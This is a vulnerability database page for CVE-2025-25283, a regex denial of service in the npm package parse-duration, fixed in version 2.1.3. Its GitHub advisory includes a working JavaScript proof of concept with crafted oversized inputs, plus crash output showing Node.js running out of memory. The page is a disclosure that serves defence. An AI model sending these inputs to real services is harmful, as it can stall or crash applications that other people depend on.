Vulnerability-Lookup

CVE-2025-25283 (GCVE-0-2025-25283)

Vulnerability from cvelistv5 – Published: 2025-02-12 18:21 – Updated: 2025-02-12 19:25

Title

parse-duraton vulnerable to Regex Denial of Service that results in event loop delay and out of memory

Summary

parse-duraton is software that allows users to convert a human readable duration to milliseconds. Versions prior to 2.1.3 are vulnerable to an event loop delay due to the CPU-bound operation of resolving the provided string, from a 0.5ms and up to ~50ms per one operation, with a varying size from 0.01 MB and up to 4.3 MB respectively, and an out of memory that would crash a running Node.js application due to a string size of roughly 10 MB that utilizes unicode characters. Version 2.1.3 contains a patch.

Severity

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2025-02-12 19:25 UTC

CWE

CWE-1333 - Inefficient Regular Expression Complexity

Assigner

GitHub_M mitre root

References

3 references

URL	Tags
https://github.com/jkroso/parse-duration/security…	x_refsource_CONFIRM
https://github.com/jkroso/parse-duration/commit/9…	x_refsource_MISC
https://github.com/jkroso/parse-duration/releases…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
jkroso	parse-duration	Affected: < 2.1.3	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-25283",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-02-12T19:25:33.773917Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-02-12T19:25:45.402Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "parse-duration",
          "vendor": "jkroso",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.1.3"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "parse-duraton is software that allows users to convert a human readable duration to milliseconds. Versions prior to 2.1.3 are vulnerable to an event loop delay due to the CPU-bound operation of resolving the provided string, from a 0.5ms and up to ~50ms per one operation, with a varying size from 0.01 MB and up to 4.3 MB respectively, and an out of memory that would crash a running Node.js application due to a string size of roughly 10 MB that utilizes unicode characters. Version 2.1.3 contains a patch."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-1333",
              "description": "CWE-1333: Inefficient Regular Expression Complexity",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-02-12T18:21:48.693Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/jkroso/parse-duration/security/advisories/GHSA-hcrg-fc28-fcg5",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/jkroso/parse-duration/security/advisories/GHSA-hcrg-fc28-fcg5"
        },
        {
          "name": "https://github.com/jkroso/parse-duration/commit/9e88421bfd41806fa4b473bfb28a9ee9dafc27d7",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/jkroso/parse-duration/commit/9e88421bfd41806fa4b473bfb28a9ee9dafc27d7"
        },
        {
          "name": "https://github.com/jkroso/parse-duration/releases/tag/v2.1.3",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/jkroso/parse-duration/releases/tag/v2.1.3"
        }
      ],
      "source": {
        "advisory": "GHSA-hcrg-fc28-fcg5",
        "discovery": "UNKNOWN"
      },
      "title": "parse-duraton vulnerable to Regex Denial of Service that results in event loop delay and out of memory"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2025-25283",
    "datePublished": "2025-02-12T18:21:48.693Z",
    "dateReserved": "2025-02-06T17:13:33.121Z",
    "dateUpdated": "2025-02-12T19:25:45.402Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2025-25283",
      "date": "2026-09-19",
      "epss": "0.00774",
      "percentile": "0.54239"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "parse-duration",
                "vendor": "jkroso",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003c 2.1.3"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "parse-duraton is software that allows users to convert a human readable duration to milliseconds. Versions prior to 2.1.3 are vulnerable to an event loop delay due to the CPU-bound operation of resolving the provided string, from a 0.5ms and up to ~50ms per one operation, with a varying size from 0.01 MB and up to 4.3 MB respectively, and an out of memory that would crash a running Node.js application due to a string size of roughly 10 MB that utilizes unicode characters. Version 2.1.3 contains a patch."
          },
          {
            "lang": "es",
            "value": "parse-duraton es un software que permite a los usuarios convertir una duraci\u00f3n legible para humanos en milisegundos. Las versiones anteriores a la 2.1.3 son vulnerables a un retraso en el bucle de eventos debido a la operaci\u00f3n limitada por la CPU de resolver la cadena proporcionada, desde 0,5 ms hasta ~50 ms por operaci\u00f3n, con un tama\u00f1o variable desde 0,01 MB hasta 4,3 MB respectivamente, y una falta de memoria que bloquear\u00eda una aplicaci\u00f3n Node.js en ejecuci\u00f3n debido a un tama\u00f1o de cadena de aproximadamente 10 MB que utiliza caracteres Unicode. La versi\u00f3n 2.1.3 contiene un parche."
          }
        ],
        "id": "CVE-2025-25283",
        "lastModified": "2026-06-17T09:00:36.773",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "HIGH",
                "baseScore": 7.5,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "NONE",
                "integrityImpact": "NONE",
                "privilegesRequired": "NONE",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
                "version": "3.1"
              },
              "exploitabilityScore": 3.9,
              "impactScore": 3.6,
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2025-25283",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "no"
                  },
                  {
                    "technicalImpact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-02-12T19:25:33.773917Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2025-02-12T19:15:21.863",
        "references": [
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/jkroso/parse-duration/commit/9e88421bfd41806fa4b473bfb28a9ee9dafc27d7"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/jkroso/parse-duration/releases/tag/v2.1.3"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/jkroso/parse-duration/security/advisories/GHSA-hcrg-fc28-fcg5"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Deferred",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-1333"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Secondary"
          }
        ]
      }
    },
    "redhat_vex": {
      "current_release_date": "2025-05-28T17:20:57+00:00",
      "cve": "CVE-2025-25283",
      "id": "CVE-2025-25283",
      "initial_release_date": "2025-01-01T00:00:00+00:00",
      "product_status:known_not_affected": "1",
      "source": "Red Hat CSAF VEX",
      "status": "final",
      "title": "parse-duraton vulnerable to Regex Denial of Service that results in event loop delay and out of memory",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2025/cve-2025-25283.json",
      "version": "3"
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2025-25283",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2025-02-12T19:25:33.773917Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2025-02-12T19:25:39.234Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "parse-duration",
              "vendor": "jkroso",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003c 2.1.3"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "parse-duraton is software that allows users to convert a human readable duration to milliseconds. Versions prior to 2.1.3 are vulnerable to an event loop delay due to the CPU-bound operation of resolving the provided string, from a 0.5ms and up to ~50ms per one operation, with a varying size from 0.01 MB and up to 4.3 MB respectively, and an out of memory that would crash a running Node.js application due to a string size of roughly 10 MB that utilizes unicode characters. Version 2.1.3 contains a patch."
            }
          ],
          "metrics": [
            {
              "cvssV3_1": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "HIGH",
                "baseScore": 7.5,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "NONE",
                "integrityImpact": "NONE",
                "privilegesRequired": "NONE",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
                "version": "3.1"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-1333",
                  "description": "CWE-1333: Inefficient Regular Expression Complexity",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2025-02-12T18:21:48.693Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/jkroso/parse-duration/security/advisories/GHSA-hcrg-fc28-fcg5",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/jkroso/parse-duration/security/advisories/GHSA-hcrg-fc28-fcg5"
            },
            {
              "name": "https://github.com/jkroso/parse-duration/commit/9e88421bfd41806fa4b473bfb28a9ee9dafc27d7",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/jkroso/parse-duration/commit/9e88421bfd41806fa4b473bfb28a9ee9dafc27d7"
            },
            {
              "name": "https://github.com/jkroso/parse-duration/releases/tag/v2.1.3",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/jkroso/parse-duration/releases/tag/v2.1.3"
            }
          ],
          "source": {
            "advisory": "GHSA-hcrg-fc28-fcg5",
            "discovery": "UNKNOWN"
          },
          "title": "parse-duraton vulnerable to Regex Denial of Service that results in event loop delay and out of memory"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2025-25283",
        "datePublished": "2025-02-12T18:21:48.693Z",
        "dateReserved": "2025-02-06T17:13:33.121Z",
        "dateUpdated": "2025-02-12T19:25:45.402Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.1"
    }
  }
}

FKIE_CVE-2025-25283

Vulnerability from fkie_nvd - Published: 2025-02-12 19:15 - Updated: 2026-06-17 09:00

Severity

7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/jkroso/parse-duration/commit/9e88421bfd41806fa4b473bfb28a9ee9dafc27d7
	security-advisories@github.com	https://github.com/jkroso/parse-duration/releases/tag/v2.1.3
	security-advisories@github.com	https://github.com/jkroso/parse-duration/security/advisories/GHSA-hcrg-fc28-fcg5

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "parse-duration",
          "vendor": "jkroso",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.1.3"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "parse-duraton is software that allows users to convert a human readable duration to milliseconds. Versions prior to 2.1.3 are vulnerable to an event loop delay due to the CPU-bound operation of resolving the provided string, from a 0.5ms and up to ~50ms per one operation, with a varying size from 0.01 MB and up to 4.3 MB respectively, and an out of memory that would crash a running Node.js application due to a string size of roughly 10 MB that utilizes unicode characters. Version 2.1.3 contains a patch."
    },
    {
      "lang": "es",
      "value": "parse-duraton es un software que permite a los usuarios convertir una duraci\u00f3n legible para humanos en milisegundos. Las versiones anteriores a la 2.1.3 son vulnerables a un retraso en el bucle de eventos debido a la operaci\u00f3n limitada por la CPU de resolver la cadena proporcionada, desde 0,5 ms hasta ~50 ms por operaci\u00f3n, con un tama\u00f1o variable desde 0,01 MB hasta 4,3 MB respectivamente, y una falta de memoria que bloquear\u00eda una aplicaci\u00f3n Node.js en ejecuci\u00f3n debido a un tama\u00f1o de cadena de aproximadamente 10 MB que utiliza caracteres Unicode. La versi\u00f3n 2.1.3 contiene un parche."
    }
  ],
  "id": "CVE-2025-25283",
  "lastModified": "2026-06-17T09:00:36.773",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2025-25283",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2025-02-12T19:25:33.773917Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2025-02-12T19:15:21.863",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/jkroso/parse-duration/commit/9e88421bfd41806fa4b473bfb28a9ee9dafc27d7"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/jkroso/parse-duration/releases/tag/v2.1.3"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/jkroso/parse-duration/security/advisories/GHSA-hcrg-fc28-fcg5"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-1333"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-HCRG-FC28-FCG5

Vulnerability from github – Published: 2025-02-12 19:45 – Updated: 2025-02-12 21:35

Summary

parse-duration has a Regex Denial of Service that results in event loop delay and out of memory

Details

Summary

This report finds 2 availability issues due to the regex used in the parse-duration npm package: 1. An event loop delay due to the CPU-bound operation of resolving the provided string, from a 0.5ms and up to ~50ms per one operation, with a varying size from 0.01 MB and up to 4.3 MB respectively. 2. An out of memory that would crash a running Node.js application due to a string size of roughly 10 MB that utilizes unicode characters.

PoC

Refer to the following proof of concept code that provides a test case and makes use of the regular expression in the library as its test case to match against strings:

// Vulnerable regex to use from the library:
import parse from './index.js'

function generateStressTestString(length, decimalProbability) {
  let result = "";
  for (let i = 0; i < length; i++) {
    if (Math.random() < decimalProbability) {
      result += "....".repeat(99);
    }
    result += Math.floor(Math.random() * 10);
  }
  return result;
}

function getStringSizeInMB_UTF8(str) {
  const sizeInBytes = Buffer.byteLength(str, 'utf8');
  const sizeInMB = sizeInBytes / (1024 * 1024);
  return sizeInMB;
}


// Generate test strings with varying length and decimal probability:
const longString1 = generateStressTestString(380, 0.05);
const longString2 = generateStressTestString(10000, 0.9);
const longString3 = generateStressTestString(500000, 1);
const longStringVar1 = '-1e' + '-----'.repeat(915000)
const longStringVar2 = "1" + "0".repeat(500) + "e1" + "α".repeat(5225000)

function testRegex(str) {
  const startTime = performance.now();
  // one of the regex's used in the library:
  // const durationRE = /(-?(?:\d+\.?\d*|\d*\.?\d+)(?:e[-+]?\d+)?)\s*([\p{L}]*)/giu;
  // const match = durationRE.test(str);
  // but we will use the exported library code directly:
  const match = parse(str);
  const endTime = performance.now();
  const timeTaken = endTime - startTime;
  return { timeTaken, match };
}

// Test the long strings:
let result = {}

{
  console.log(
    `\nRegex test on string of length ${longString1.length} (size: ${getStringSizeInMB_UTF8(longString1).toFixed(2)} MB):`
  );
  result = testRegex(longString1);
  console.log(
    `   matched: ${result.match}, time taken: ${result.timeTaken}ms`
  );
}

{
  console.log(
    `\nRegex test on string of length ${longString2.length} (size: ${getStringSizeInMB_UTF8(longString2).toFixed(2)} MB):`
  );
  result = testRegex(longString2 + "....".repeat(100) + "5сек".repeat(9000));
  console.log(
    `   matched: ${result.match}, time taken: ${result.timeTaken}ms`
  );
}

{
  console.log(
    `\nRegex test on string of length ${longStringVar1.length} (size: ${getStringSizeInMB_UTF8(longStringVar1).toFixed(2)} MB):`
  );
  result = testRegex(longStringVar1);
  console.log(
    `   matched: ${result.match}, time taken: ${result.timeTaken}ms`
  );
}


{
  console.log(
    `\nRegex test on string of length ${longString3.length} (size: ${getStringSizeInMB_UTF8(longString3).toFixed(2)} MB):`
  );
  result = testRegex(longString3 + '.'.repeat(10000) + " 5сек".repeat(9000));
  console.log(
    `   matched: ${result.match}, time taken: ${result.timeTaken}ms`
  );
}

{
  console.log(
    `\nRegex test on string of length ${longStringVar2.length} (size: ${getStringSizeInMB_UTF8(longStringVar2).toFixed(2)} MB):`
  );
  result = testRegex(longStringVar2);
  console.log(
    `   matched: ${result.match}, time taken: ${result.timeTaken}ms`
  );
}

The results of this on the cloud machine that I ran this on are as follows:

@lirantal ➜ /workspaces/parse-duration (master) $ node redos.js 

Regex test on string of length 6320 (size: 0.01 MB):
   matched: 5997140778.000855, time taken: 0.9271340000000237ms

Regex test on string of length 3561724 (size: 3.40 MB):
   matched: 0.0006004999999999999, time taken: 728.7693149999999ms

Regex test on string of length 4575003 (size: 4.36 MB):
   matched: null, time taken: 43.713984999999866ms

Regex test on string of length 198500000 (size: 189.30 MB):

<--- Last few GCs --->

[34339:0x7686430]    14670 ms: Mark-Compact (reduce) 2047.4 (2073.3) -> 2047.4 (2074.3) MB, 1396.70 / 0.01 ms  (+ 0.1 ms in 62 steps since start of marking, biggest step 0.0 ms, walltime since start of marking 1430 ms) (average mu = 0.412, current mu = 0.[34339:0x7686430]    17450 ms: Mark-Compact (reduce) 2048.4 (2074.3) -> 2048.4 (2075.3) MB, 2777.68 / 0.00 ms  (average mu = 0.185, current mu = 0.001) allocation failure; scavenge might not succeed


<--- JS stacktrace --->

FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
----- Native stack trace -----

 1: 0xb8d0a3 node::OOMErrorHandler(char const*, v8::OOMDetails const&) [node]
 2: 0xf06250 v8::Utils::ReportOOMFailure(v8::internal::Isolate*, char const*, v8::OOMDetails const&) [node]
 3: 0xf06537 v8::internal::V8::FatalProcessOutOfMemory(v8::internal::Isolate*, char const*, v8::OOMDetails const&) [node]
 4: 0x11180d5  [node]
 5: 0x112ff58 v8::internal::Heap::CollectGarbage(v8::internal::AllocationSpace, v8::internal::GarbageCollectionReason, v8::GCCallbackFlags) [node]
 6: 0x1106071 v8::internal::HeapAllocator::AllocateRawWithLightRetrySlowPath(int, v8::internal::AllocationType, v8::internal::AllocationOrigin, v8::internal::AllocationAlignment) [node]
 7: 0x1107205 v8::internal::HeapAllocator::AllocateRawWithRetryOrFailSlowPath(int, v8::internal::AllocationType, v8::internal::AllocationOrigin, v8::internal::AllocationAlignment) [node]
 8: 0x10e4856 v8::internal::Factory::NewFillerObject(int, v8::internal::AllocationAlignment, v8::internal::AllocationType, v8::internal::AllocationOrigin) [node]
 9: 0x1540686 v8::internal::Runtime_AllocateInYoungGeneration(int, unsigned long*, v8::internal::Isolate*) [node]
10: 0x1979ef6  [node]
Aborted (core dumped)

You can note that: 1. 0.01 MB of input was enough to cause a 1ms delay (0.92ms) 2. Ranging from either 3 MB to 4 MB of input results in almost a full second day (728ms) and 42 ms, depending on the characters used in the text passed to the library's parse() function 3. A 200 MB of input size already causes JavaScript heap out of memory crash

However, more interestingly, if we focus on the input string case:

const longStringVar2 = "1" + "0".repeat(500) + "e1" + "α".repeat(5225000)

Even though this is merely 10 MB of size (9.97 MB) it results in an out of memory issue due to the recursive nature of the regular expression matching:

Regex test on string of length 5225503 (size: 9.97 MB):
file:///workspaces/parse-duration/index.js:21
    .replace(durationRE, (_, n, units) => {
     ^

RangeError: Maximum call stack size exceeded
    at String.replace (<anonymous>)
    at parse (file:///workspaces/parse-duration/index.js:21:6)
    at testRegex (file:///workspaces/parse-duration/redos.js:35:17)
    at file:///workspaces/parse-duration/redos.js:89:12
    at ModuleJob.run (node:internal/modules/esm/module_job:234:25)
    at async ModuleLoader.import (node:internal/modules/esm/loader:473:24)
    at async asyncRunEntryPointWithESMLoader (node:internal/modules/run_main:122:5)

Node.js v20.18.1

To note, the issue at hand may not just be the primary regex in use but rather the reliance of the various replace functions in the parse() function which create copies of the input in memory.

Impact

I agree, a 200 MB (perhaps even less if we perform more tests to find the actual threshold) is a large amount of data to send over a network and hopefully is unlikely to hit common application usage.
In the case of the specialized input string case that uses a UTF-8 character it is only requires up to 10 MB of request size to cause a RangeError exception for a running Node.js application, which I think is more applicable and common to allow such input sizes for POST requests and other types.
Even for the smaller payloads such as 0.01 MB which aligns with Express's default of 100kb request limit size it causes a 1ms delay. Now imagine if an application is running without proper security controls such as rate limits, and attackers send 1000s of concurrent requests which quickly turn the 1ms delay into seconds worth of delay for a running application. The 3 MB payload already shows a 0.5s delay in one request.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "parse-duration"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-25283"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-02-12T19:45:51Z",
    "nvd_published_at": "2025-02-12T19:15:21Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThis report finds 2 availability issues due to the regex used in the `parse-duration` npm package:\n1. An event loop delay due to the CPU-bound operation of resolving the provided string, from a 0.5ms and up to ~50ms per one operation, with a varying size from 0.01 MB and up to 4.3 MB respectively.\n2. An out of memory that would crash a running Node.js application due to a string size of roughly 10 MB that utilizes unicode characters.\n\n### PoC\n\nRefer to the following proof of concept code that provides a test case and makes use of the regular expression in the library as its test case to match against strings:\n\n```js\n// Vulnerable regex to use from the library:\nimport parse from \u0027./index.js\u0027\n\nfunction generateStressTestString(length, decimalProbability) {\n  let result = \"\";\n  for (let i = 0; i \u003c length; i++) {\n    if (Math.random() \u003c decimalProbability) {\n      result += \"....\".repeat(99);\n    }\n    result += Math.floor(Math.random() * 10);\n  }\n  return result;\n}\n\nfunction getStringSizeInMB_UTF8(str) {\n  const sizeInBytes = Buffer.byteLength(str, \u0027utf8\u0027);\n  const sizeInMB = sizeInBytes / (1024 * 1024);\n  return sizeInMB;\n}\n\n\n// Generate test strings with varying length and decimal probability:\nconst longString1 = generateStressTestString(380, 0.05);\nconst longString2 = generateStressTestString(10000, 0.9);\nconst longString3 = generateStressTestString(500000, 1);\nconst longStringVar1 = \u0027-1e\u0027 + \u0027-----\u0027.repeat(915000)\nconst longStringVar2 = \"1\" + \"0\".repeat(500) + \"e1\" + \"\u03b1\".repeat(5225000)\n\nfunction testRegex(str) {\n  const startTime = performance.now();\n  // one of the regex\u0027s used in the library:\n  // const durationRE = /(-?(?:\\d+\\.?\\d*|\\d*\\.?\\d+)(?:e[-+]?\\d+)?)\\s*([\\p{L}]*)/giu;\n  // const match = durationRE.test(str);\n  // but we will use the exported library code directly:\n  const match = parse(str);\n  const endTime = performance.now();\n  const timeTaken = endTime - startTime;\n  return { timeTaken, match };\n}\n\n// Test the long strings:\nlet result = {}\n\n{\n  console.log(\n    `\\nRegex test on string of length ${longString1.length} (size: ${getStringSizeInMB_UTF8(longString1).toFixed(2)} MB):`\n  );\n  result = testRegex(longString1);\n  console.log(\n    `   matched: ${result.match}, time taken: ${result.timeTaken}ms`\n  );\n}\n\n{\n  console.log(\n    `\\nRegex test on string of length ${longString2.length} (size: ${getStringSizeInMB_UTF8(longString2).toFixed(2)} MB):`\n  );\n  result = testRegex(longString2 + \"....\".repeat(100) + \"5\u0441\u0435\u043a\".repeat(9000));\n  console.log(\n    `   matched: ${result.match}, time taken: ${result.timeTaken}ms`\n  );\n}\n\n{\n  console.log(\n    `\\nRegex test on string of length ${longStringVar1.length} (size: ${getStringSizeInMB_UTF8(longStringVar1).toFixed(2)} MB):`\n  );\n  result = testRegex(longStringVar1);\n  console.log(\n    `   matched: ${result.match}, time taken: ${result.timeTaken}ms`\n  );\n}\n\n\n{\n  console.log(\n    `\\nRegex test on string of length ${longString3.length} (size: ${getStringSizeInMB_UTF8(longString3).toFixed(2)} MB):`\n  );\n  result = testRegex(longString3 + \u0027.\u0027.repeat(10000) + \" 5\u0441\u0435\u043a\".repeat(9000));\n  console.log(\n    `   matched: ${result.match}, time taken: ${result.timeTaken}ms`\n  );\n}\n\n{\n  console.log(\n    `\\nRegex test on string of length ${longStringVar2.length} (size: ${getStringSizeInMB_UTF8(longStringVar2).toFixed(2)} MB):`\n  );\n  result = testRegex(longStringVar2);\n  console.log(\n    `   matched: ${result.match}, time taken: ${result.timeTaken}ms`\n  );\n}\n```\n\nThe results of this on the cloud machine that I ran this on are as follows:\n\n```sh\n@lirantal \u279c /workspaces/parse-duration (master) $ node redos.js \n\nRegex test on string of length 6320 (size: 0.01 MB):\n   matched: 5997140778.000855, time taken: 0.9271340000000237ms\n\nRegex test on string of length 3561724 (size: 3.40 MB):\n   matched: 0.0006004999999999999, time taken: 728.7693149999999ms\n\nRegex test on string of length 4575003 (size: 4.36 MB):\n   matched: null, time taken: 43.713984999999866ms\n\nRegex test on string of length 198500000 (size: 189.30 MB):\n\n\u003c--- Last few GCs ---\u003e\n\n[34339:0x7686430]    14670 ms: Mark-Compact (reduce) 2047.4 (2073.3) -\u003e 2047.4 (2074.3) MB, 1396.70 / 0.01 ms  (+ 0.1 ms in 62 steps since start of marking, biggest step 0.0 ms, walltime since start of marking 1430 ms) (average mu = 0.412, current mu = 0.[34339:0x7686430]    17450 ms: Mark-Compact (reduce) 2048.4 (2074.3) -\u003e 2048.4 (2075.3) MB, 2777.68 / 0.00 ms  (average mu = 0.185, current mu = 0.001) allocation failure; scavenge might not succeed\n\n\n\u003c--- JS stacktrace ---\u003e\n\nFATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory\n----- Native stack trace -----\n\n 1: 0xb8d0a3 node::OOMErrorHandler(char const*, v8::OOMDetails const\u0026) [node]\n 2: 0xf06250 v8::Utils::ReportOOMFailure(v8::internal::Isolate*, char const*, v8::OOMDetails const\u0026) [node]\n 3: 0xf06537 v8::internal::V8::FatalProcessOutOfMemory(v8::internal::Isolate*, char const*, v8::OOMDetails const\u0026) [node]\n 4: 0x11180d5  [node]\n 5: 0x112ff58 v8::internal::Heap::CollectGarbage(v8::internal::AllocationSpace, v8::internal::GarbageCollectionReason, v8::GCCallbackFlags) [node]\n 6: 0x1106071 v8::internal::HeapAllocator::AllocateRawWithLightRetrySlowPath(int, v8::internal::AllocationType, v8::internal::AllocationOrigin, v8::internal::AllocationAlignment) [node]\n 7: 0x1107205 v8::internal::HeapAllocator::AllocateRawWithRetryOrFailSlowPath(int, v8::internal::AllocationType, v8::internal::AllocationOrigin, v8::internal::AllocationAlignment) [node]\n 8: 0x10e4856 v8::internal::Factory::NewFillerObject(int, v8::internal::AllocationAlignment, v8::internal::AllocationType, v8::internal::AllocationOrigin) [node]\n 9: 0x1540686 v8::internal::Runtime_AllocateInYoungGeneration(int, unsigned long*, v8::internal::Isolate*) [node]\n10: 0x1979ef6  [node]\nAborted (core dumped)\n```\n\nYou can note that:\n1. 0.01 MB of input was 